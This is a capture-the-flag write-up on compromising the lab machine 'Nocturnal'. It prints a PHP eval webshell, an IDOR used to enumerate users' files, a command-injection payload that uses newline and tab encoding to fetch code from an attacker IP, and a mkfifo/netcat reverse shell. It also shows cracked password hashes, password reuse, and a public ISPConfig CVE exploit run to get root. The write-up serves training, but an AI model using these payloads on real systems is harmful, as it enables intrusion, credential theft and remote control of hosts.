RECON

Port Scan

$ sudo nmap -A $target_ip

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

A PHP-powered web interface offering a file upload mechanism under the guise of a backup service—a classic attack vector:

We're able to register a test account and pivot directly to http://nocturnal.htb/dashboard.php, which exposes the file upload interface:

A quick probe confirms upload filters are in play, enforcing rudimentary checks on file type validation:

These are common document file formats used across office and productivity software. .pdf is a fixed-layout format ideal for sharing and printing. .doc and .docx are Word documents, with .docx being the modern XML-based version. .xls and .xlsx are Excel spreadsheet formats, with .xlsx also being the newer XML-based format. .odt is an open standard used by LibreOffice and OpenOffice for word processing.

Dirsearch

Fuzzing endpoint paths and extensions is mandatory recon when facing a PHP-driven web surface. Using dirsearch, we carved out the exposed and protected terrain:

$ dirsearch -u http://nocturnal.htb

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266

Target: http://nocturnal.htb/

[19:16:27] Scanning:
[19:17:30] 302 -     0B - /admin.php  ->  login.php
[19:18:17] 301 -   178B - /backups  ->  http://nocturnal.htb/backups/
[19:18:17] 403 -   564B - /backups/
[19:18:40] 302 -     0B - /dashboard.php  ->  login.php
[19:19:04] 200 -    1KB - /index.php
[19:19:19] 200 -   644B - /login.php
[19:19:21] 302 -     0B - /logout.php  ->  login.php
[19:20:03] 200 -   649B - /register.php
[19:20:45] 403 -   564B - /uploads
[19:20:45] 403 -   564B - /uploads/
[19:20:45] 403 -   564B - /uploads/affwp-debug.log
[19:20:45] 403 -   564B - /uploads/dump.sql
[19:20:45] 403 -   564B - /uploads_admin
[19:20:50] 302 -    3KB - /view.php  ->  login.php

Task Completed

The results unearthed a rich directory structure, sprinkled with redirects and denied access points. Notably:

  • /admin.php and /dashboard.php redirect to login.php, confirming gated functionality.
  • /view.php—an immediate suspect—grants access, hinting at file read potential.
  • Several 403-protected paths like /uploads/affwp-debug.log and /uploads/dump.sql stand out like low-hanging loot, begging for bypass or LFI.

Besides, the presence of affwp-debug.log is especially telling that the AffiliateWP is a known WordPress plugin for managing affiliate marketing systems.

WEB

Fuzzing

After some low-key RECON and harmless probing, we step into the next phase of a real upload abuse:

$ echo '<?php @eval($_REQUEST["x"]);?>' > shell.doc

$ curl -X POST \
  -H 'Host: nocturnal.htb' \
  -H 'Content-Type: multipart/form-data' \
  -H 'Cookie: PHPSESSID=8mke290oaav9oqp3e6j5qm9fv8' \
  -F "[email protected];type=application/x-php" \
  http://nocturnal.htb/dashboard.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
                 <h1>Welcome, test</h1>

        <h2>Upload File</h2>
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="fileToUpload" required>
            <button type="submit">Upload File</button>
        </form>

        <h2>Your Files</h2>
        <ul>
                            <li>
                    <a href="view.php?username=test&file=shell.doc">
                        shell.doc                    </a>
                    <span>(Uploaded on 2025-04-13 03:08:50)</span>
                </li>
                    </ul>

        <a href="logout.php" class="logout">Logout</a>
    </div>
</body>
</html>

Wrapping a webshell in a .doc disguise, the dashboard.php interface just gladly takes it, responding with a link to view.php?username=test&file=shell.doc for the uploaded file, which returns a download file:

But here's the twist—accessing the link doesn't execute the payload, it downloads the file instead. The server is sanitizing execution but serving raw content.

However, here's where things get interesting - if we provide a non-exist file for the request, the server leaks a file listing response:

Even better? The username parameter isn't locked down. As we test the username parameter to another user, for example admin:

Still works. No auth. No protection. Just open access to enumerate user file lists.

Therefore, we feed the username parameter to Burp Intruder, use a basic wordlist of common names, and filter for "available" in the response:

Browsing Amanda's file stash, we discover http://nocturnal.htb/view.php?username=amanda&file=privacy.odt, which is a .odt file — LibreOffice/OpenOffice format, as aforementioned. But every hacker knows: ODT is just a ZIP archive with an attitude. So we can decompress it for further inspection:

$ unzip privacy.odt -d odt_extracted
Archive:  privacy.odt
warning [privacy.odt]:  2919 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 extracting: odt_extracted/mimetype
   creating: odt_extracted/Configurations2/accelerator/
   creating: odt_extracted/Configurations2/images/Bitmaps/
   creating: odt_extracted/Configurations2/toolpanel/
   creating: odt_extracted/Configurations2/floater/
   creating: odt_extracted/Configurations2/statusbar/
   creating: odt_extracted/Configurations2/toolbar/
   creating: odt_extracted/Configurations2/progressbar/
   creating: odt_extracted/Configurations2/popupmenu/
   creating: odt_extracted/Configurations2/menubar/
  inflating: odt_extracted/styles.xml
  inflating: odt_extracted/manifest.rdf
  inflating: odt_extracted/content.xml
  inflating: odt_extracted/meta.xml
  inflating: odt_extracted/settings.xml
 extracting: odt_extracted/Thumbnails/thumbnail.png
  inflating: odt_extracted/META-INF/manifest.xml
  
$ tree odt_extracted
odt_extracted
├── Configurations2
│   ├── accelerator
│   ├── floater
│   ├── images
│   │   └── Bitmaps
│   ├── menubar
│   ├── popupmenu
│   ├── progressbar
│   ├── statusbar
│   ├── toolbar
│   └── toolpanel
├── content.xml
├── manifest.rdf
├── META-INF
│   └── manifest.xml
├── meta.xml
├── mimetype
├── settings.xml
├── styles.xml
└── Thumbnails
    └── thumbnail.png

14 directories, 8 files

Classic structure spills out: XML configs, metadata, etc. Next, use a sharp grep to bring us the treasure into the light:

$ grep -RiEo \
	'.{0,40}(pass(word)?|secret|login|username|creds|key|token|flag|base64|eval|admin).{0,40}' \
	odt_extracted/

odt_extracted/content.xml:cturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This passwor
odt_extracted/content.xml:ential that you change it on your first login to ensure the security of your account
odt_extracted/content.xml:r need additional assistance during the password change process, please do not hesitate
odt_extracted/settings.xml:config:name="PrinterSetup" config:type="base64Binary"/><config:config-item config:name
odt_extracted/settings.xml:nfig-item config:name="RedlineProtectionKey" config:type="base64Binary"/><config:co

Boom. A temporary password arHkG7HAI68X8s1J, buried in XML. Try it with amanda. She's legit. And yes, she can access admin.php:

From idle fuzzing to authenticated access — this is what the exploitation chain looks like when curiosity meets misconfiguration.

Code Review

With access to admin.php, we peeled back the backend’s logic and found something delightfully careless: a backup system powered by direct shell commands.

admin.php provides review on the PHP file structure and their source codes, including admin.php itself. The page begins with basic access control:

PHP
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
    header('Location: login.php');
    exit();
}

Nothing fancy. Just a check for session-bound identities. But once we're in, the server opens its belly.

Using listPhpFiles(), the page recursively exposes every .php file in its path. Pair that with:

PHP
function listPhpFiles($dir) { ... }
[...]
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
$content = htmlspecialchars(file_get_contents($filePath));

And we get a live view of source files—limited to the current directory, but still enough to tear into its logic.

The gate-keeper cleanEntry() function attempts to sanitize input:

PHP
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) return false;
    }
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

But it relies on blacklist-based filtering, which is weak and bypassable. This blocks $, which is normally used for:

  • $(...)
  • $(), $IFS, etc.

However, it doesn't block encoded control characters, like:

  • %0a → newline (\n)
  • %09 → horizontal tab (\t)

Here comes a Vulnerable Logic: Backup Command Execution. The backup engine constructs a shell command, which could have aimed to generate a zip archive of the web directory:

PHP
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Then blindly passes it to the dangerous proc_open function:

PHP
$process = proc_open($command, $descriptor_spec, $pipes);

Even though cleanEntry() is applied to $password:

PHP
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
[...]

The use of a poorly-filtered string directly in a shell command could allow for command injection.

This is the jackpot. A filtered string, slapped inside a shell command. We don't need space, ; or |. We just need a line break and something to fetch. And it's all streamed back through:

After execution, the output log file is read and displayed to the user:

PHP
$logContents = file_get_contents($logFile);
echo "<pre>" . htmlspecialchars($logContents) . "</pre>";

A perfect blind-to-reflected command injection vector.

PoC

Knowing the vulnerability, we can inject payload to the HTTP request like:

HTTP
POST /admin.php HTTP/1.1
Host: nocturnal.htb
Cookie: PHPSESSID=<valid-session>
Content-Type: application/x-www-form-urlencoded
    
password=axura%0awget%0910.10.▒▒.▒▒/xpl%0a&bakcup=

Where:

  • %0a = newline
  • %09 = tab (bypasses space blacklist)

Which the shell interprets as:

Bash
zip -x './backups/*' -r -P axura
wget	10.10.▒▒.▒▒/xpl
backups/backup_2025-04-13.zip . > /tmp/log 2>&1 &

The second line (wget ...) is our payload, and it executes before the legitimate command fails.

It returns an error for the malformed command at 3rd line, but our payload positioned at the 2nd line was successfully executed:

Reverse Shell

We've already proven command injection. Now it's time to weaponize it.

Given the blacklist on shell metacharacters ($, |, ;, etc.), direct payload chaining is out. But we don't need pipes when we can script.

First, we drop a rev.sh on our HTTP server:

Bash
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.▒▒.▒▒ 4444 >/tmp/f

Then, we instruct the target to curl our script, using %0a for newline and %09 for tab:

Bash
curl -O 10.10.▒▒.▒▒/rev.sh
# Convert to HTTP payload:
# password=test%0acurl%09-O%0910.10.▒▒.▒▒/rev.sh%0a&backup=

Set up a listener with Netcat, and trigger execution of the now-local shell:

Bash
bash rev.sh
# Convert to HTTP payload:
# password=test%0abash%09rev.sh%0a&backup=

Target responds. Shell returned. We're now in as www-data:

We dig around and spot a juicy SQLite file: nocturnal_database.db.

This could be an alternative to get user. There's a much more easier way introduced in the following section

USER

While the reverse shell route is valid, there's a cleaner path—straight from the web interface.

Once authenticated as amanda, the backup utility on admin.php lets us generate a ZIP archive of the web root. Provide any password and download the archive:

Unpack it:

$ unzip backup_2025-04-13.zip

Archive:  backup_2025-04-13.zip
[backup_2025-04-13.zip] admin.php password:
  inflating: admin.php
   creating: uploads/
  inflating: uploads/privacy.odt
  inflating: register.php
  inflating: login.php
  inflating: dashboard.php
  inflating: nocturnal_database.db
  inflating: index.php
  inflating: view.php
  inflating: logout.php
  inflating: style.css

We can also uncover the database file nocturnal_database.db here straight forward, which leaks the password hashes of all web users:

$ sqlite3 nocturnal_database.db

SQLite version 3.49.1 2025-02-18 13:38:58
Enter ".help" for usage hints.
sqlite> .tables
uploads  users
sqlite> SELECT * FROM users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d

The MD5 hash for user tobias can be cracked easiy as slowmotionapocalypse. We can now use this to SSH login the target machine:

We read the user flag, officially compromising the first real account on the system.

ROOT

We've landed as tobias, and the surface seems quiet. No sudo rights, no world-writable binaries, no lazy cron jobs. But there's a pulse on port 8080:

tobias@nocturnal:~$ sudo -l
[sudo] password for tobias:
Sorry, user tobias may not run sudo on nocturnal.

tobias@nocturnal:~$ netstat -lantp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      1 10.129.232.74:49248     1.1.1.1:53              SYN_SENT    -
tcp        0    396 10.129.232.74:22        10.10.▒▒.▒▒:59868        ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Jackpot:

tobias@nocturnal:~$ curl -i localhost:8080

HTTP/1.1 302 Found
Host: localhost:8080
Date: Sun, 13 Apr 2025 07:46:50 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=3a98jm6igls0v8e346tn9o5m85; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/
Vary: Accept-Encoding

This isn't just a login page—it’s the nerve center. ISPConfig is live, namely a web-based control panel, identified by the session cookie ISPCSESS.

ISPConfig

Password Reuse

ISPConfig is a heavyweight in the web hosting world. A PHP-powered control panel that wraps around system-level tasks—DNS, FTP, mail, cron, database, and more.

We punch through with SSH port forwarding:

Bash
ssh -L 8888:127.0.0.1:8080 [email protected]

Now accessible via http://localhost:8888/login in our browser, which requires credentials to login:

The default password of ISPConfig is admin / admin. So we can try password reusing with the username admin and password from user amanda or tobias. As a result, admin / slowmotionapocalypse is the key to the vault, demonstrating its version information:

CVE-2023-46818

Search CVEs for ISPConfig 3.2.10p1, we found CVE-2023-46818 which targets ISPConfig before 3.2.11p1 and allows authenticated admins to inject PHP via the language file editor if admin_allow_langedit is enabled - detailed analysis can be referred to this article.

TL;DR: The UI lets admins modify PHP-based language files directly. Under default settings, this becomes an RCE highway.

A PoC script can be found on this Github repo. We clone the exploit, and execute the Python script to fire it against our tunnel:

Bash
python3 exploit.py http://127.0.0.1:8888 admin slowmotionapocalypse

Rooted:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)